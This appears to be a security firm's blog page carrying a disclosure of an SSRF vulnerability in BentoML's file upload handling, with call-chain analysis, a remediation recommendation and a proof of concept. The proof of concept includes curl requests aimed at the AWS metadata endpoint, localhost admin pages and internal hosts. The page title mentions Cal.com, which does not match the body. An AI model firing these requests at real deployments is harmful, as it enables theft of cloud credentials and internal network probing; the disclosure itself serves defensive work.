How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
There’s an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.
The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.
The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.
Source: User-controlled multipart form field values and JSON request bodies containing URLs
Call Chain - Path 1 (MultipartSerde - No Validation):
MultipartSerde.parse_request() in src/_bentoml_impl/serde.py:202 processes the requestform = await request.form() parses multipart data using Starlettevalue = [await self.ensure_file(v) for v in form.getlist(k)]MultipartSerde.ensure_file() called at lines 186-200 with user-controlled string URLresp = await client.get(obj) at line 193 - Direct HTTP request with zero validationCall Chain - Path 2 (JSONSerde - Weak Validation):*
IORootModel + multipart_fieldsJSONSerde.parse_request() in src/_bentoml_impl/serde.py:157 processes the requestbody = await request.body() extracts request bodyissubclass(cls, IORootModel) and cls.multipart_fields: at line 164is_http_url(url := body.decode(“utf-8”, “ignore”)): at line 165 (only checks scheme)resp = await client.get(url) at line 168 - HTTP request after insufficient validationCreate a BentoML service:
<code class="hljs language-python"><span class="hljs-keyword">from</span> pathlib <span class="hljs-keyword">import</span> Path
<span class="hljs-keyword">import</span> bentoml
<span class="hljs-meta">@bentoml.service </span>
<span class="hljs-keyword">class</span> <span class="hljs-title class_">ImageProcessor</span>:
<span class="hljs-meta"> @bentoml.api</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">process_image</span>(<span class="hljs-params">self, image: Path</span>) -> <span class="hljs-built_in">str</span>:
<span class="hljs-keyword">return</span> <span class="hljs-string">f"Processed image: <span class="hljs-subst">{image}</span>"</span>
</code>Deploy and exploit:
<code class="hljs language-bash"><span class="hljs-comment"># Start service (binds to 0.0.0.0:3000 by default)</span>
bentoml serve service.py:ImageProcessor
<span class="hljs-comment"># SSRF Attack 1 - Access AWS metadata </span>
curl -X POST http://target:3000/process_image \
-F <span class="hljs-string">'image=http://169.254.169.254/latest/meta-data/'</span>
<span class="hljs-comment"># SSRF Attack 2 - Internal service enumeration</span>
curl -X POST http://target:3000/process_image \
-F <span class="hljs-string">'image=http://localhost:8080/admin'</span>
<span class="hljs-comment"># SSRF Attack 3 - Internal network scanning</span>
curl -X POST http://target:3000/process_image \
-F <span class="hljs-string">'image=http://10.0.0.1:22'</span>
</code>Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.
Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing is_http_url() function should be enhanced to include allowlist validation rather than just scheme checking.

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
Authorization bypass in n8n’s dynamic-credentials OAuth endpoints allows any authenticated user to operate on another user’s OAuth credential by supplying its ID, enabling unauthorized OAuth rebinding and revocation.
Artemiy Malyshau
An IDOR vulnerability in n8n’s public variables API allows authenticated users to read project variables outside their authorized scope, exposing secrets across project boundaries.
Artemiy Malyshau
Learn API scanning for automated security testing. Find vulnerabilities from broken authentication to business logic flaws in your endpoints.
Artemiy Malyshau
A complete guide to automated pentest tools and best practices. Learn what works, what doesn’t, and how to implement continuous security testing.
Artemiy Malyshau
Compare the best AI-powered application security testing tools. Find which tools detect business logic flaws and broken access control.
Artemiy Malyshau
Occasional updates, new content, and insights. No spam; unsubscribe anytime.